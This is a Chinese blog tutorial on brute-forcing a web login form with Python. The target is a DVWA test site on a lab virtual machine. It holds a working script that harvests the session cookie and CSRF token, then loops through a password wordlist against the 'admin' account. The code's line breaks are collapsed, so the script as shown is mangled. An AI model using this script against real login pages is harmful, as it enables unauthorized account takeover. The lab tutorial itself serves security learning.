python之WEB登录密码暴力破解
原理:利用字典爆破进行破解
实验环境:本机Win10(python3.7环境)、虚拟机Win2003(搭建DVWA网站)
工具:火狐浏览器、Burp Suite
实现步骤:
1、获取正常登录时需要提交的数据信息。
Burp Suite开启抓包,浏览器范文Dvwa登录页面,按F12开启网络数据查看器,登录dvwa.
可知:username、password、Login、user_token 这四个是登录必须提交的,除此之外还必须要附带服务器所给的cookie。
总共5个数据。
整个数据包如下:
也就是需要构建和上图一样需求和格式的Request数据包(Burp Suite查看请求包)
2、使用Python编写WEB请求数据包
# -*- coding: utf-8 -*-
"""
参考博客:
Created on Sat Oct 6 17:01:15 2018
@author: 小谢
"""
import urllib
import requests
from bs4 import BeautifulSoup##第一步,先访问 http://172.16.90.101/dvwa/login.php页面,获得服务器返回的cookie和token
def get_cookie_token():headers={'Host':'172.16.90.101','User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Upgrade-Insecure-Requests':'1'}res=requests.get("http://172.16.90.101/dvwa/login.php",headers=headers)cookies=res.cookiesa=[(';'.join(['='.join(item)for item in cookies.items()]))] ## a为列表,存储cookie和tokenhtml=res.textsoup=BeautifulSoup(html,"html.parser")token=soup.form.contents[3]['value']a.append(token)return a##第二步模拟登陆
def Two(password,a):headers={'Host':'172.16.90.101','User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Content-Length':'88','Content-Type':'application/x-www-form-urlencoded','Upgrade-Insecure-Requests':'1','Cookie':a[0],'Referer':'http://172.16.90.101/dvwa/login.php'}values={'username':'admin','password':password,'Login':'Login','user_token':a[1]}data=urllib.parse.urlencode(values)resp=requests.post("http://172.16.90.101/dvwa/login.php",data=data,headers=headers)return def Three():
#重定向到index.phpheaders={'Host':'172.16.90.101','User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3','Connection':'keep-alive','Upgrade-Insecure-Requests':'1','Cookie':a[0],'Referer':'http://172.16.90.101/dvwa/login.php'}response=requests.get("http://172.16.90.101/dvwa/index.php",headers=headers,allow_redirects=False)statu = response.status_codereturn statuwordList = open('passwordList.txt','r')
passwords = wordList.readlines()
for password in passwords:password = password.strip()a = get_cookie_token() #步骤一Two(password,a) #步骤二statu = Three() #步骤三if(statu == 200):print("[*]测试密码:"+password+" 正确\t"+str(statu))breakelse:print("[-]测试密码:"+password+" 错误\t"+str(statu))
wordList.close()
if(statu != 200):print("------密码爆破失败------")"""
需要一个passwordList.txt密码文档
格式为:
password1
password2
......
"""
上诉代码的执行步骤:
第一步:先访问DVWA的登录页面(login.php),获取服务器返回的cookie和token(代码就不详说明)
第二步:构建Request数据包模拟登录DVWA,此脚本是参照别人的博客模拟登录,我把它稍加修改成密码爆破,
如有需要请自行查找他的博客
第三步:重定向,为了判断提交数据后是否登录成功,成功则可以获取登录成功的index页面(注意代码细节)
总结:
理解掌握HTTP的运行过程,构建发送HTTP数据包。
暴力破解无非是不断尝试账号密码,因为机器每秒的执行次数元超乎人的操作次数,所以暴力破解成为了可能。
上诉脚本存在不足之处:
1、cookie是倍写死的,一个正常的的网站一般cookie都是会变化的
2、可以使用多线程加快运行效率
3、账号是已知的,一般情况下我们尝试登陆一个是否存在的用户时,网站并不会告诉我们账号是否存在,当然一些安全性不好的网站例外。(若是账号也进行破解的话,需要很大的工程,也需要一定的算法)
python之WEB登录密码暴力破解相关推荐
- web后台登录口令暴力破解及防御
在实际网络安全评估测试中,前台是给用户使用,后台是给网站管理维护人员使用,前台功能相对简单,后台功能相对复杂,可能保护媒体文件上传,数据库管理等.前台用户可以自由注册,而后台是网站管理或者维护人员设定 ...
- python密码破解工具_一个最简单的博客园文章密码暴力破解器-python3实现
一个最简单的博客园文章密码暴力破解器-python3实现 我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手. 博客园的博客有个功 ...
- 密码暴力破解漏洞(kali crunch)
目录 1.密码安全 2.漏洞利用 3.不安全的密码 4.密码猜解思路 5. 字典wordlist 5.1 kali字典 5.2 github字典 6.专用字典 6.1 指定格式字典 6.2 社工字典 ...
- Web攻防之暴力破解(何足道版)
然后发在先知平台备份了一份 1 @序 攻防之初,大多为绕过既有逻辑和认证,以Getshell为节点,不管是SQL注入获得管理员数据还是XSS 获得后台cookie,大多数是为了后台的登录权限,假若我们 ...
- Linux SSH密码暴力破解技术及攻防实战
对于Linux操作系统来说,一般通过VNC.Teamviewer和SSH等工具来进行远程管理,SSH是 Secure Shell的缩写,由IETF的网络小组(Network Working Group ...
- kali-linux教程 ssh密码暴力破解和防御实战
1 hydra[海德拉] Hydra是世界顶级密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具. 指 ...
- linux密码暴力破解之SHA-512破解
linux密码暴力破解 由于MD5加密已经发展了很多年,现在市面上已经积累了大量的MD5数据,这样,MD5的安全性也就受到了威胁,所以,从centos6.x版本开始,系统密码开始采用SHA-512加密 ...
- SSH密码暴力破解及防御实战
前言:本文对目前流行的 SSH 密码暴力破解工具进行实战研究.分析和总结,对渗透攻击测试和安全防御具有一定的参考价值. 首先介绍几款常用的ssh暴力破解工具: 1. hydra [海德拉] 指定用户破 ...
- web渗透--ftp暴力破解,明文、嗅探安全等
一. FTP用户名密码暴力破解 1.知道用户名和密码nc直接相连 2.知道用户名不知道密码 medusa工具 medusa -d 可以查看可以破解模块都有什么 medusa -h IP地址 -u 用户 ...
最新文章
- python字符编码讲解_python 字符编码讲解
- 关于jQuery在Asp.Net Mvc 框架下Ajax文件上传的实现
- 生活中的化学物质 —— 化学盐
- Qcon出品全球软件开发者大会北京站-低代码实践与应用
- strcpy、strncpy与memcpy的区别与使用方法
- Android ADB命令?这一次我再也不死记了!【简单说】
- OPhone的多媒体模块支持的三种不同数据源
- COM组件和一般DLL 的区别
- 线性方程组解的分析:唯一解,无穷多解以及无解
- python字符串格式化是什么意思_Python字符串格式化中%s和%d之间有什么区别?...
- CentOS-5.6-x86_64 配置SSH无密码登陆
- 前端移动端页面与手机尺寸和分辨率的关系
- Hive权限管理,增加用户,授权
- JavaScript中minio的使用
- Python3中pass语句介绍
- 【 Rust 基础】控制流 —— Rust 的神级语法03
- office plus
- 浅谈SAP公有云:S4 HANA Cloud
- matlab ppt 赵银娣,中国矿业大学考研研究生导师简介-赵银娣
- 押注全场景,荣耀胜算几何?